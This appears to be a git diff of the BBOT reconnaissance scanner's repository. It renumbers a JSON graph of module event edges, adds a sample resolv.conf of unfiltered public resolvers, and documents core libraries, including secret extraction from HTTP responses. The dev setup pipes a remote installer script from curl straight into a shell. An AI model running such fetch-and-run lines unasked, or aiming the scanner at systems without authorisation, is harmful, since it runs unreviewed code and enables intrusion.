         "target": 3,
         "type": "consumes"
     },
     {
-        "source": 5,
-        "target": 80,
+        "source": 4,
+        "target": 78,
         "type": "produces"
     },
     {
-        "source": 81,
+        "source": 79,
         "target": 3,
         "type": "consumes"
     },
     {
-        "source": 45,
-        "target": 81,
+        "source": 46,
+        "target": 79,
         "type": "produces"
     },
     {
         "source": 4,
-        "target": 81,
+        "target": 79,
         "type": "produces"
     },
     {
-        "source": 82,
-        "target": 45,
+        "source": 80,
+        "target": 46,
         "type": "consumes"
     },
     {
         "source": 10,
-        "target": 82,
+        "target": 80,
         "type": "produces"
     },
     {
-        "source": 83,
-        "target": 45,
+        "source": 81,
+        "target": 46,
         "type": "consumes"
     },
     {
         "source": 10,
-        "target": 83,
+        "target": 81,
         "type": "produces"
     },
     {
-        "source": 84,
+        "source": 82,
         "target": 7,
         "type": "consumes"
     },
     {
-        "source": 45,
-        "target": 84,
+        "source": 46,
+        "target": 82,
         "type": "produces"
     },
     {
-        "source": 27,
-        "target": 84,
+        "source": 20,
+        "target": 82,
         "type": "produces"
     },
     {
-        "source": 85,
-        "target": 65,
+        "source": 83,
+        "target": 67,
         "type": "consumes"
     },
     {
-        "source": 85,
-        "target": 66,
+        "source": 83,
+        "target": 68,
         "type": "consumes"
     },
     {
-        "source": 45,
-        "target": 85,
+        "source": 46,
+        "target": 83,
         "type": "produces"
     },
     {
-        "source": 86,
+        "source": 84,
         "target": 7,
         "type": "consumes"
     },
     {
-        "source": 47,
-        "target": 86,
+        "source": 48,
+        "target": 84,
         "type": "produces"
     },
     {
-        "source": 66,
-        "target": 86,
+        "source": 68,
+        "target": 84,
         "type": "produces"
     },
     {
-        "source": 87,
-        "target": 45,
+        "source": 85,
+        "target": 46,
         "type": "consumes"
     },
     {
         "source": 10,
-        "target": 87,
+        "target": 85,
         "type": "produces"
     },
     {
-        "source": 88,
-        "target": 66,
+        "source": 86,
+        "target": 68,
         "type": "consumes"
     },
     {
-        "source": 45,
-        "target": 88,
+        "source": 46,
+        "target": 86,
         "type": "produces"
     },
     {
-        "source": 89,
+        "source": 87,
         "target": 2,
         "type": "consumes"
     },
     {
-        "source": 89,
-        "target": 66,
+        "source": 87,
+        "target": 68,
         "type": "consumes"
     },
     {
-        "source": 89,
-        "target": 17,
+        "source": 87,
+        "target": 5,
         "type": "consumes"
     },
     {
-        "source": 45,
-        "target": 89,
+        "source": 46,
+        "target": 87,
         "type": "produces"
     },
     {
         "source": 4,
-        "target": 89,
+        "target": 87,
         "type": "produces"
     },
     {
-        "source": 66,
-        "target": 89,
+        "source": 68,
+        "target": 87,
         "type": "produces"
     },
     {
-        "source": 17,
-        "target": 89,
+        "source": 5,
+        "target": 87,
         "type": "produces"
     },
     {
-        "source": 90,
-        "target": 45,
+        "source": 88,
+        "target": 46,
         "type": "consumes"
     },
     {
-        "source": 90,
-        "target": 65,
+        "source": 88,
+        "target": 67,
         "type": "consumes"
     },
     {
         "source": 9,
-        "target": 90,
+        "target": 88,
         "type": "produces"
     },
     {
-        "source": 91,
-        "target": 66,
+        "source": 89,
+        "target": 68,
         "type": "consumes"
     },
     {
-        "source": 91,
+        "source": 89,
         "target": 3,
         "type": "consumes"
     },
     {
-        "source": 17,
-        "target": 91,
+        "source": 5,
+        "target": 89,
         "type": "produces"
     },
     {
         "source": 3,
-        "target": 91,
+        "target": 89,
         "type": "produces"
     },
     {
-        "source": 27,
-        "target": 91,
+        "source": 20,
+        "target": 89,
         "type": "produces"
     },
     {
-        "source": 92,
-        "target": 91,
+        "source": 90,
+        "target": 89,
         "type": "produces"
     },
     {
-        "source": 93,
+        "source": 91,
         "target": 3,
         "type": "consumes"
     },
     {
         "source": 4,
-        "target": 93,
+        "target": 91,
         "type": "produces"
     },
     {
-        "source": 94,
+        "source": 92,
         "target": 7,
         "type": "consumes"
     },
     {
         "source": 7,
-        "target": 94,
+        "target": 92,
         "type": "produces"
     },
     {
-        "source": 95,
+        "source": 93,
         "target": 2,
         "type": "consumes"
     },
     {
         "source": 4,
-        "target": 95,
+        "target": 93,
         "type": "produces"
     },
     {
-        "source": 96,
+        "source": 94,
         "target": 16,
         "type": "consumes"
     },
     {
-        "source": 96,
+        "source": 94,
         "target": 3,
         "type": "consumes"
     },
     {
-        "source": 96,
-        "target": 27,
+        "source": 94,
+        "target": 20,
         "type": "consumes"
     },
     {
         "source": 2,
-        "target": 96,
+        "target": 94,
         "type": "produces"
     },
     {
         "source": 3,
-        "target": 96,
+        "target": 94,
         "type": "produces"
     },
     {
-        "source": 97,
-        "target": 72,
+        "source": 95,
+        "target": 74,
         "type": "consumes"
     },
     {
         "source": 4,
-        "target": 97,
+        "target": 95,
         "type": "produces"
     },
     {
-        "source": 98,
+        "source": 96,
         "target": 7,
         "type": "consumes"
     },
     {
         "source": 7,
-        "target": 98,
+        "target": 96,
         "type": "produces"
     },
     {
-        "source": 47,
-        "target": 98,
+        "source": 48,
+        "target": 96,
         "type": "produces"
     },
     {
-        "source": 27,
-        "target": 98,
+        "source": 20,
+        "target": 96,
         "type": "produces"
     },
     {
-        "source": 99,
+        "source": 97,
         "target": 3,
         "type": "consumes"
     },
     {
-        "source": 76,
-        "target": 99,
+        "source": 98,
+        "target": 97,
         "type": "produces"
     },
     {
-        "source": 100,
+        "source": 99,
         "target": 12,
         "type": "consumes"
     },
+    {
+        "source": 100,
+        "target": 99,
+        "type": "produces"
+    },
     {
         "source": 101,
-        "target": 100,
+        "target": 12,
+        "type": "consumes"
+    },
+    {
+        "source": 12,
+        "target": 101,
         "type": "produces"
     },
     {
@@ -1075,17 +1075,17 @@
         "type": "consumes"
     },
     {
-        "source": 12,
+        "source": 100,
         "target": 102,
         "type": "produces"
     },
     {
         "source": 103,
-        "target": 12,
+        "target": 10,
         "type": "consumes"
     },
     {
-        "source": 101,
+        "source": 10,
         "target": 103,
         "type": "produces"
     },
@@ -1095,7 +1095,7 @@
         "type": "consumes"
     },
     {
-        "source": 10,
+        "source": 73,
         "target": 104,
         "type": "produces"
     },
@@ -1111,7 +1111,7 @@
     },
     {
         "source": 106,
-        "target": 41,
+        "target": 42,
         "type": "consumes"
     },
     {
@@ -1126,7 +1126,7 @@
     },
     {
         "source": 107,
-        "target": 72,
+        "target": 74,
         "type": "consumes"
     },
     {
@@ -1135,17 +1135,17 @@
         "type": "produces"
     },
     {
-        "source": 5,
+        "source": 2,
         "target": 107,
         "type": "produces"
     },
     {
         "source": 108,
-        "target": 41,
+        "target": 42,
         "type": "consumes"
     },
     {
-        "source": 5,
+        "source": 4,
         "target": 108,
         "type": "produces"
     },
@@ -1191,7 +1191,7 @@
     },
     {
         "source": 111,
-        "target": 41,
+        "target": 42,
         "type": "consumes"
     },
     {
@@ -1224,11 +1224,6 @@
         "target": 113,
         "type": "produces"
     },
-    {
-        "source": 17,
-        "target": 113,
-        "type": "produces"
-    },
     {
         "source": 5,
         "target": 113,
@@ -1241,7 +1236,7 @@
     },
     {
         "source": 114,
-        "target": 27,
+        "target": 20,
         "type": "consumes"
     },
     {
@@ -1266,16 +1261,11 @@
     },
     {
         "source": 116,
-        "target": 72,
+        "target": 74,
         "type": "consumes"
     },
     {
-        "source": 4,
-        "target": 116,
-        "type": "produces"
-    },
-    {
-        "source": 72,
+        "source": 74,
         "target": 116,
         "type": "produces"
     },
@@ -1286,16 +1276,11 @@
     },
     {
         "source": 117,
-        "target": 72,
+        "target": 74,
         "type": "consumes"
     },
     {
-        "source": 4,
-        "target": 117,
-        "type": "produces"
-    },
-    {
-        "source": 72,
+        "source": 74,
         "target": 117,
         "type": "produces"
     },
@@ -1306,11 +1291,11 @@
     },
     {
         "source": 118,
-        "target": 72,
+        "target": 74,
         "type": "consumes"
     },
     {
-        "source": 72,
+        "source": 74,
         "target": 118,
         "type": "produces"
     },
@@ -1320,7 +1305,7 @@
         "type": "consumes"
     },
     {
-        "source": 47,
+        "source": 48,
         "target": 119,
         "type": "produces"
     },
@@ -1336,7 +1321,7 @@
     },
     {
         "source": 120,
-        "target": 27,
+        "target": 20,
         "type": "consumes"
     },
     {
@@ -1351,7 +1336,7 @@
     },
     {
         "source": 121,
-        "target": 122,
+        "target": 63,
         "type": "consumes"
     },
     {
@@ -1360,43 +1345,53 @@
         "type": "produces"
     },
     {
-        "source": 123,
-        "target": 65,
+        "source": 122,
+        "target": 67,
+        "type": "consumes"
+    },
+    {
+        "source": 122,
+        "target": 68,
         "type": "consumes"
     },
+    {
+        "source": 46,
+        "target": 122,
+        "type": "produces"
+    },
     {
         "source": 123,
-        "target": 66,
+        "target": 46,
         "type": "consumes"
     },
     {
-        "source": 45,
+        "source": 10,
         "target": 123,
         "type": "produces"
     },
     {
         "source": 124,
-        "target": 45,
+        "target": 7,
         "type": "consumes"
     },
     {
-        "source": 10,
+        "source": 7,
         "target": 124,
         "type": "produces"
     },
     {
         "source": 125,
-        "target": 7,
+        "target": 74,
         "type": "consumes"
     },
     {
-        "source": 7,
+        "source": 4,
         "target": 125,
         "type": "produces"
     },
     {
         "source": 126,
-        "target": 72,
+        "target": 20,
         "type": "consumes"
     },
     {
@@ -1406,21 +1401,21 @@
     },
     {
         "source": 127,
-        "target": 27,
+        "target": 3,
         "type": "consumes"
     },
     {
-        "source": 4,
+        "source": 20,
         "target": 127,
         "type": "produces"
     },
     {
         "source": 128,
-        "target": 3,
+        "target": 7,
         "type": "consumes"
     },
     {
-        "source": 27,
+        "source": 7,
         "target": 128,
         "type": "produces"
     },
@@ -1430,7 +1425,12 @@
         "type": "consumes"
     },
     {
-        "source": 7,
+        "source": 48,
+        "target": 129,
+        "type": "produces"
+    },
+    {
+        "source": 20,
         "target": 129,
         "type": "produces"
     },
@@ -1440,22 +1440,32 @@
         "type": "consumes"
     },
     {
-        "source": 47,
+        "source": 7,
         "target": 130,
         "type": "produces"
     },
     {
-        "source": 27,
-        "target": 130,
+        "source": 131,
+        "target": 12,
+        "type": "consumes"
+    },
+    {
+        "source": 4,
+        "target": 131,
         "type": "produces"
     },
     {
-        "source": 131,
-        "target": 7,
-        "type": "consumes"
+        "source": 16,
+        "target": 131,
+        "type": "produces"
     },
     {
-        "source": 7,
+        "source": 41,
+        "target": 131,
+        "type": "produces"
+    },
+    {
+        "source": 5,
         "target": 131,
         "type": "produces"
     },
@@ -1484,11 +1494,6 @@
         "target": 132,
         "type": "produces"
     },
-    {
-        "source": 17,
-        "target": 132,
-        "type": "produces"
-    },
     {
         "source": 5,
         "target": 132,
@@ -1500,232 +1505,247 @@
         "type": "consumes"
     },
     {
-        "source": 47,
+        "source": 48,
         "target": 133,
         "type": "produces"
     },
     {
         "source": 134,
-        "target": 3,
+        "target": 20,
         "type": "consumes"
     },
     {
-        "source": 4,
+        "source": 68,
         "target": 134,
         "type": "produces"
     },
     {
         "source": 135,
-        "target": 27,
-        "type": "consumes"
-    },
-    {
-        "source": 66,
-        "target": 135,
-        "type": "produces"
-    },
-    {
-        "source": 136,
-        "target": 137,
+        "target": 19,
         "type": "consumes"
     },
     {
-        "source": 136,
+        "source": 135,
         "target": 7,
         "type": "consumes"
     },
     {
-        "source": 136,
-        "target": 21,
+        "source": 135,
+        "target": 22,
         "type": "consumes"
     },
     {
-        "source": 136,
+        "source": 135,
         "target": 2,
         "type": "consumes"
     },
     {
-        "source": 136,
+        "source": 135,
         "target": 12,
         "type": "consumes"
     },
     {
-        "source": 136,
-        "target": 122,
+        "source": 135,
+        "target": 63,
         "type": "consumes"
     },
     {
-        "source": 136,
-        "target": 66,
+        "source": 135,
+        "target": 68,
         "type": "consumes"
     },
     {
-        "source": 136,
-        "target": 23,
+        "source": 135,
+        "target": 24,
         "type": "consumes"
     },
     {
-        "source": 136,
+        "source": 135,
         "target": 3,
         "type": "consumes"
     },
     {
-        "source": 136,
-        "target": 27,
+        "source": 135,
+        "target": 20,
         "type": "consumes"
     },
     {
-        "source": 136,
-        "target": 50,
+        "source": 135,
+        "target": 51,
         "type": "consumes"
     },
     {
         "source": 7,
-        "target": 136,
+        "target": 135,
         "type": "produces"
     },
     {
         "source": 4,
-        "target": 136,
+        "target": 135,
         "type": "produces"
     },
     {
         "source": 12,
-        "target": 136,
+        "target": 135,
         "type": "produces"
     },
     {
         "source": 16,
-        "target": 136,
+        "target": 135,
         "type": "produces"
     },
     {
-        "source": 65,
-        "target": 136,
+        "source": 67,
+        "target": 135,
         "type": "produces"
     },
     {
-        "source": 138,
-        "target": 16,
+        "source": 136,
+        "target": 2,
         "type": "consumes"
     },
     {
         "source": 7,
-        "target": 138,
+        "target": 136,
         "type": "produces"
     },
     {
-        "source": 47,
-        "target": 138,
+        "source": 48,
+        "target": 136,
         "type": "produces"
     },
     {
-        "source": 139,
+        "source": 137,
         "target": 7,
         "type": "consumes"
     },
     {
         "source": 7,
-        "target": 139,
+        "target": 137,
         "type": "produces"
     },
     {
-        "source": 140,
+        "source": 138,
         "target": 7,
         "type": "consumes"
     },
     {
         "source": 7,
-        "target": 140,
+        "target": 138,
         "type": "produces"
     },
     {
-        "source": 141,
+        "source": 139,
         "target": 7,
         "type": "consumes"
     },
     {
-        "source": 141,
-        "target": 21,
+        "source": 139,
+        "target": 22,
         "type": "consumes"
     },
     {
-        "source": 142,
+        "source": 140,
         "target": 2,
         "type": "consumes"
     },
     {
-        "source": 142,
+        "source": 140,
         "target": 3,
         "type": "consumes"
     },
     {
         "source": 4,
-        "target": 142,
+        "target": 140,
         "type": "produces"
     },
     {
-        "source": 5,
-        "target": 142,
+        "source": 141,
+        "target": 46,
+        "type": "consumes"
+    },
+    {
+        "source": 141,
+        "target": 5,
+        "type": "consumes"
+    },
+    {
+        "source": 141,
+        "target": 20,
+        "type": "consumes"
+    },
+    {
+        "source": 4,
+        "target": 141,
         "type": "produces"
     },
     {
-        "source": 143,
+        "source": 142,
         "target": 7,
         "type": "consumes"
     },
     {
         "source": 7,
-        "target": 143,
+        "target": 142,
         "type": "produces"
     },
     {
-        "source": 144,
-        "target": 45,
+        "source": 143,
+        "target": 46,
         "type": "consumes"
     },
     {
-        "source": 144,
+        "source": 143,
         "target": 10,
         "type": "consumes"
     },
     {
-        "source": 144,
+        "source": 143,
         "target": 2,
         "type": "consumes"
     },
     {
-        "source": 144,
-        "target": 71,
+        "source": 143,
+        "target": 73,
         "type": "consumes"
     },
     {
         "source": 4,
-        "target": 144,
+        "target": 143,
         "type": "produces"
     },
     {
-        "source": 5,
+        "source": 144,
+        "target": 10,
+        "type": "consumes"
+    },
+    {
+        "source": 10,
         "target": 144,
         "type": "produces"
     },
     {
         "source": 145,
-        "target": 10,
+        "target": 3,
         "type": "consumes"
     },
     {
-        "source": 10,
+        "source": 4,
         "target": 145,
         "type": "produces"
     },
     {
         "source": 146,
-        "target": 3,
+        "target": 7,
         "type": "consumes"
     },
     {
-        "source": 4,
+        "source": 7,
+        "target": 146,
+        "type": "produces"
+    },
+    {
+        "source": 20,
         "target": 146,
         "type": "produces"
     },
@@ -1739,34 +1759,24 @@
         "target": 147,
         "type": "produces"
     },
-    {
-        "source": 27,
-        "target": 147,
-        "type": "produces"
-    },
     {
         "source": 148,
         "target": 3,
         "type": "consumes"
     },
     {
-        "source": 7,
+        "source": 149,
         "target": 148,
         "type": "produces"
     },
     {
-        "source": 149,
+        "source": 2,
         "target": 148,
         "type": "produces"
     },
     {
         "source": 150,
-        "target": 7,
-        "type": "consumes"
-    },
-    {
-        "source": 7,
-        "target": 150,
+        "target": 148,
         "type": "produces"
     },
     {
@@ -1785,83 +1795,93 @@
         "type": "consumes"
     },
     {
-        "source": 18,
+        "source": 4,
         "target": 152,
         "type": "produces"
     },
     {
         "source": 153,
-        "target": 7,
+        "target": 3,
         "type": "consumes"
     },
     {
-        "source": 7,
+        "source": 17,
         "target": 153,
         "type": "produces"
     },
     {
-        "source": 27,
-        "target": 153,
-        "type": "produces"
+        "source": 154,
+        "target": 7,
+        "type": "consumes"
     },
     {
         "source": 154,
-        "target": 72,
+        "target": 3,
         "type": "consumes"
     },
     {
-        "source": 155,
-        "target": 4,
-        "type": "consumes"
+        "source": 7,
+        "target": 154,
+        "type": "produces"
     },
     {
-        "source": 155,
-        "target": 17,
-        "type": "consumes"
+        "source": 4,
+        "target": 154,
+        "type": "produces"
     },
     {
-        "source": 155,
-        "target": 3,
-        "type": "consumes"
+        "source": 2,
+        "target": 154,
+        "type": "produces"
+    },
+    {
+        "source": 20,
+        "target": 154,
+        "type": "produces"
+    },
+    {
+        "source": 74,
+        "target": 154,
+        "type": "produces"
     },
     {
         "source": 155,
-        "target": 149,
+        "target": 74,
         "type": "consumes"
     },
     {
-        "source": 155,
-        "target": 5,
+        "source": 156,
+        "target": 4,
         "type": "consumes"
     },
     {
         "source": 156,
-        "target": 2,
+        "target": 5,
         "type": "consumes"
     },
     {
         "source": 156,
-        "target": 17,
+        "target": 3,
         "type": "consumes"
     },
     {
-        "source": 4,
-        "target": 156,
-        "type": "produces"
+        "source": 157,
+        "target": 3,
+        "type": "consumes"
     },
     {
-        "source": 17,
-        "target": 156,
+        "source": 20,
+        "target": 157,
         "type": "produces"
     },
     {
-        "source": 27,
-        "target": 156,
-        "type": "produces"
+        "source": 158,
+        "target": 98,
+        "type": "consumes"
     },
     {
-        "source": 5,
-        "target": 156,
+        "source": 20,
+        "target": 158,
         "type": "produces"
     }
 ]
\ No newline at end of file
diff --git a/docs/data/resolv-sample.conf b/docs/data/resolv-sample.conf
new file mode 100644
index 0000000000..ef88adbe7d
--- /dev/null
+++ b/docs/data/resolv-sample.conf
@@ -0,0 +1,60 @@
+# ============================================================================
+# Sample /etc/resolv.conf for BBOT
+# ============================================================================
+#
+# BBOT's DNS engine (blastdns) automatically spins up ten workers per
+# resolver listed here.  Adding more resolvers = more parallelism =
+# faster scans.
+#
+# To use: copy (or append) to /etc/resolv.conf, or point your
+# systemd-resolved / resolvconf config at these addresses.
+# ============================================================================
+
+# --- Google Public DNS ---
+# No filtering, DNSSEC-validating, DoH/DoT capable.
+# Huge anycast footprint for geographically relevant answers.
+nameserver 8.8.8.8
+nameserver 8.8.4.4
+
+# --- Cloudflare 1.1.1.1 ---
+# Unfiltered, DNSSEC, very fast, DoH/DoT.
+# NOTE: Avoid 1.1.1.2 / 1.1.1.3 -- those variants apply malware
+# and adult-content filtering, which will hide results during OSINT.
+nameserver 1.1.1.1
+nameserver 1.0.0.1
+
+# --- Quad9 (unfiltered) ---
+# IMPORTANT: Quad9's main address (9.9.9.9) blocks known-malicious
+# domains -- exactly what you do NOT want when pivoting on adversary
+# infrastructure.  The .10 addresses are their no-blocklist,
+# no-DNSSEC-validation variant, which lets you see raw responses
+# without validation stripping records.
+nameserver 9.9.9.10
+nameserver 149.112.112.10
+
+# --- OpenDNS "Sandbox" (unfiltered) ---
+# Cisco Umbrella's unfiltered pair.  The well-known 208.67.222.222
+# enforces category filtering; the .2 addresses do not.
+nameserver 208.67.222.2
+nameserver 208.67.220.2
+
+# --- Verisign Public DNS ---
+# Run by the .com / .net registry operator.
+# No filtering, no NXDOMAIN hijacking, DNSSEC.
+nameserver 64.6.64.6
+nameserver 64.6.65.6
+
+# --- Hurricane Electric ---
+# Unfiltered, strong IPv6 support, well-regarded in the netops community.
+nameserver 74.82.42.42
+
+# ============================================================================
+# IPv6 equivalents (uncomment if your host has IPv6 connectivity)
+# ============================================================================
+# nameserver 2001:4860:4860::8888   # Google
+# nameserver 2001:4860:4860::8844   # Google
+# nameserver 2606:4700:4700::1111   # Cloudflare
+# nameserver 2606:4700:4700::1001   # Cloudflare
+# nameserver 2620:fe::10            # Quad9 (unfiltered)
+# nameserver 2620:fe::fe:10         # Quad9 (unfiltered)
+# nameserver 2001:470:20::2         # Hurricane Electric
diff --git a/docs/dev/architecture.md b/docs/dev/architecture.md
index a2547154f5..bd23c13b32 100644
--- a/docs/dev/architecture.md
+++ b/docs/dev/architecture.md
@@ -6,7 +6,7 @@ Here is a basic overview of BBOT's internal architecture.
 
 Being both ***recursive*** and ***event-driven***, BBOT makes heavy use of queues. These enable smooth communication between the modules, and ensure that large numbers of events can be produced without slowing down or clogging up the scan.
 
-Every module in BBOT has both an ***incoming*** and ***outgoing*** queue. Event types matching the module's `WATCHED_EVENTS` (e.g. `DNS_NAME`) are queued in its incoming queue, and processed by the module's `handle_event()` (or `handle_batch()` in the case of batched modules). If the module finds anything interesting, it creates an event and places it in its outgoing queue, to be processed by the scan and redistributed to other modules.
+Every module in BBOT has both an ***incoming*** and ***outgoing*** queue. Event types matching the module's `watched_events` (e.g. `DNS_NAME`) are queued in its incoming queue, and processed by the module's `handle_event()` (or `handle_batch()` in the case of batched modules). If the module finds anything interesting, it creates an event and places it in its outgoing queue, to be processed by the scan and redistributed to other modules.
 
 ## Event Flow
 
diff --git a/docs/dev/core_dependencies.md b/docs/dev/core_dependencies.md
new file mode 100644
index 0000000000..50781bbcee
--- /dev/null
+++ b/docs/dev/core_dependencies.md
@@ -0,0 +1,77 @@
+# Core Dependencies
+
+BBOT is built on top of several purpose-built libraries, most of which are maintained by [Black Lantern Security](https://github.com/blacklanternsecurity). Understanding these will help you navigate the codebase and avoid reinventing things that already exist.
+
+Libraries marked with **BLS** are maintained by us.
+
+## blasthttp (BLS)
+
+[blasthttp](https://github.com/blacklanternsecurity/blasthttp) is a Rust-backed HTTP client built for speed. It handles all of BBOT's outbound HTTP traffic, including module API calls, web spidering, and brute-forcing.
+
+Module authors don't typically interact with blasthttp directly. Instead, use `self.helpers.request()`:
+
+```python
+response = await self.helpers.request("https://example.com/api")
+if response and response.status_code == 200:
+    data = response.json()
+```
+
+The shared blasthttp client is accessible at `self.helpers.blasthttp` and respects the global `web.http_rate_limit` config.
+
+## blastdns (BLS)
+
+[blastdns](https://github.com/blacklanternsecurity/blastdns) is a Rust-backed async DNS resolver. It powers all of BBOT's DNS resolution with built-in caching, retries, and per-resolver parallelism. BBOT spins up multiple workers per resolver in `/etc/resolv.conf`, so adding more resolvers directly speeds up scans.
+
+Accessed via `self.helpers.dns`:
+
+```python
+# resolve a hostname
+results = await self.helpers.resolve("example.com", rdtype="A")
+
+# resolve with full record details
+results = await self.helpers.resolve_full("example.com", rdtype="CNAME")
+```
+
+## cloudcheck (BLS)
+
+[cloudcheck](https://github.com/blacklanternsecurity/cloudcheck) identifies which cloud provider (if any) owns a given IP or domain. It maintains a regularly-updated database of IP ranges for AWS, Azure, GCP, Cloudflare, and dozens of other providers. BBOT uses it to tag events with cloud provider info (e.g. `cloud-aws`, `cdn-cloudflare`).
+
+Accessed via `self.helpers.cloudcheck`:
+
+```python
+result = await self.helpers.cloudcheck.lookup("1.2.3.4")
+# CloudCheckResult with provider name, type (cdn, cloud, waf, etc.)
+```
+
+## radixtarget (BLS)
+
+[radixtarget](https://github.com/blacklanternsecurity/radixtarget) is a high-performance radix tree for IP/DNS lookups. It is the data structure behind BBOT's target, seed, and blacklist storage, enabling fast scope checks against large target lists with CIDR and subdomain matching.
+
+```python
+from radixtarget import RadixTarget
+
+rt = RadixTarget()
+rt.insert("10.0.0.0/8")
+rt.search("10.1.2.3")  # True
+```
+
+## asndb (BLS)
+
+[asndb](https://github.com/blacklanternsecurity/asndb) provides ASN lookups for IP addresses, returning the owning organization, AS number, and subnet. BBOT uses it to enrich events with ASN metadata and to support ASN targets (e.g. `bbot -t AS1234`).
+
+Accessed via `self.helpers.asn`:
+
+```python
+result = await self.helpers.asn.lookup("8.8.8.8")
+# {"asn": 15169, "name": "GOOGLE", "description": "Google LLC", ...}
+```
+
+## Other Key Dependencies
+
+| Library | What BBOT uses it for |
+|---------|----------------------|
+| [pydantic](https://docs.pydantic.dev/) | Preset/config validation, module config schemas (`BaseModuleConfig`) |
+| [ansible-runner](https://ansible-runner.readthedocs.io/) | Module dependency installation (`deps_apt`, `deps_ansible`) |
+| [yara-python](https://yara.readthedocs.io/) | Pattern matching in `excavate` (secret/credential extraction from HTTP responses) |
+| [deepdiff](https://zepworks.com/deepdiff/) | HTTP response comparison for web modules (baseline diffing, wildcard detection) |
+| [dnspython](https://dnspython.readthedocs.io/) | DNS record type constants and utilities (blastdns handles actual resolution) |
diff --git a/docs/dev/dev_environment.md b/docs/dev/dev_environment.md
index b73f660574..355a0c6ed1 100644
--- a/docs/dev/dev_environment.md
+++ b/docs/dev/dev_environment.md
@@ -2,28 +2,32 @@
 
 The following will show you how to set up a fully functioning python environment for devving on BBOT.
 
-## Installation (Poetry)
+## Installation (uv)
 
-[Poetry](https://python-poetry.org/) is the recommended method of installation if you want to dev on BBOT. To set up a dev environment with Poetry, you can follow these steps:
+[uv](https://docs.astral.sh/uv/) is the recommended method of installation if you want to dev on BBOT. To set up a dev environment with uv, you can follow these steps:
 
 - Fork [BBOT](https://github.com/blacklanternsecurity/bbot) on GitHub
-- Clone your fork and set up a development environment with Poetry:
+- Clone your fork and set up a development environment with uv:
 
 ```bash
 # clone your forked repo and cd into it
-git clone git@github.com/<username>/bbot.git
+git clone git@github.com:<username>/bbot.git
 cd bbot
 
-# install poetry
-curl -sSL https://install.python-poetry.org | python3 -
+# switch to the dev branch and create a feature branch
+git checkout dev
+git checkout -b my-feature
+
+# install uv (if you haven't already)
+curl -LsSf https://astral.sh/uv/install.sh | sh
 
 # install pip dependencies
-poetry install
-# install pre-commit hooks, etc.
-poetry run pre-commit install
+uv sync --group dev
+# install pre-commit hooks
+uv run pre-commit install
 
 # enter virtual environment
-poetry shell
+source .venv/bin/activate
 
 bbot --help
 ```
@@ -32,7 +36,8 @@ bbot --help
 - After making your changes, run the tests locally to ensure they pass.
 
 ```bash
-# auto-format code indentation, etc.
+# lint and auto-format
+ruff check
 ruff format
 
 # run tests
diff --git a/docs/dev/engine.md b/docs/dev/engine.md
deleted file mode 100644
index d77bd3970e..0000000000
--- a/docs/dev/engine.md
+++ /dev/null
@@ -1,5 +0,0 @@
-::: bbot.core.engine.EngineBase
-
-::: bbot.core.engine.EngineClient
-
-::: bbot.core.engine.EngineServer
diff --git a/docs/dev/event.md b/docs/dev/event.md
index 79f0cc7cb5..7bc7400f28 100644
--- a/docs/dev/event.md
+++ b/docs/dev/event.md
@@ -1,4 +1,4 @@
-This is a developer reference. For a high-level description of BBOT events including a full list of event types, see [Events](../../scanning/events)
+This is a developer reference. For a high-level description of BBOT events including a full list of event types, see [Events](../scanning/events.md)
 
 ::: bbot.core.event.base.make_event
 ::: bbot.core.event.base.event_from_json
diff --git a/docs/dev/helpers/command.md b/docs/dev/helpers/command.md
index 3716d2037a..8b433a2e7a 100644
--- a/docs/dev/helpers/command.md
+++ b/docs/dev/helpers/command.md
@@ -7,7 +7,7 @@ These helpers can be invoked directly from `self.helpers`, but inside a module t
 ```python
 # simple subprocess
 ls_result = await self.run_process("ls", "-l")
-for line ls_result.stdout.splitlines():
+for line in ls_result.stdout.splitlines():
     # ...
 
 # iterate through each line in real time
diff --git a/docs/dev/helpers/dns.md b/docs/dev/helpers/dns.md
index 5a51d61168..53fc0225c1 100644
--- a/docs/dev/helpers/dns.md
+++ b/docs/dev/helpers/dns.md
@@ -5,7 +5,7 @@ These are helpers related to DNS resolution. They are used throughout BBOT and i
 Note that these helpers can be invoked directly from `self.helpers`, e.g.:
 
 ```python
-self.helpers.resolve("evilcorp.com")
+await self.helpers.resolve("evilcorp.com")
 ```
 
 ::: bbot.core.helpers.dns.DNSHelper
@@ -13,7 +13,8 @@ self.helpers.resolve("evilcorp.com")
     options:
       members:
         - resolve
-        - resolve_batch
-        - resolve_raw
+        - resolve_full
+        - resolve_multi_full
+        - resolve_batch_full
         - is_wildcard
         - is_wildcard_domain
diff --git a/docs/dev/helpers/index.md b/docs/dev/helpers/index.md
index cc27ed1f2b..545e7e2b01 100644
--- a/docs/dev/helpers/index.md
+++ b/docs/dev/helpers/index.md
@@ -1,6 +1,6 @@
 # BBOT Helpers
 
-In this section are various helper functions that are designed to make your life easier when devving on BBOT. Whether you're extending BBOT by writing a module or working on its core engine, these functions are designed to act as useful machine parts to perform essential tasks, such as making a web request or executing a DNS query.
+In this section are various helper functions that are designed to make your life easier when devving on BBOT. Whether you're extending BBOT by writing a module or working on its core, these functions are designed to act as useful machine parts to perform essential tasks, such as making a web request or executing a DNS query.
 
 The vast majority of these helpers can be accessed directly from the `.helpers` attribute of a scan or module, like so:
 
diff --git a/docs/dev/index.md b/docs/dev/index.md
index ba1a35d946..1a2f5de708 100644
--- a/docs/dev/index.md
+++ b/docs/dev/index.md
@@ -6,14 +6,14 @@ Documented in this section are commonly-used classes and functions within BBOT,
 
 ## Adding BBOT to Your Python Project
 
-If you are using Poetry, you can add BBOT to your python environment like this:
+If you are using uv, you can add BBOT to your python environment like this:
 
 ```bash
 # stable
-poetry add bbot
+uv add bbot
 
 # bleeding-edge (dev branch)
-poetry add bbot --allow-prereleases
+uv add bbot --prerelease=allow
 ```
 
 ## Running a BBOT Scan from Python
@@ -49,18 +49,16 @@ For a full listing of `Scanner` attributes and functions, see the [`Scanner` Cod
 You can specify any number of targets:
 
 ```python
-# create a scan against multiple targets
 scan = Scanner(
     "evilcorp.com",
     "evilcorp.org",
-    "evilcorp.ce",
     "4.3.2.1",
     "1.2.3.4/24",
     presets=["subdomain-enum"]
 )
 
 # this is the same as:
-targets = ["evilcorp.com", "evilcorp.org", "evilcorp.ce", "4.3.2.1", "1.2.3.4/24"]
+targets = ["evilcorp.com", "evilcorp.org", "4.3.2.1", "1.2.3.4/24"]
 scan = Scanner(*targets, presets=["subdomain-enum"])
 ```
 
@@ -68,18 +66,18 @@ For more details, including which types of targets are valid, see [Targets](../s
 
 #### Other Custom Options
 
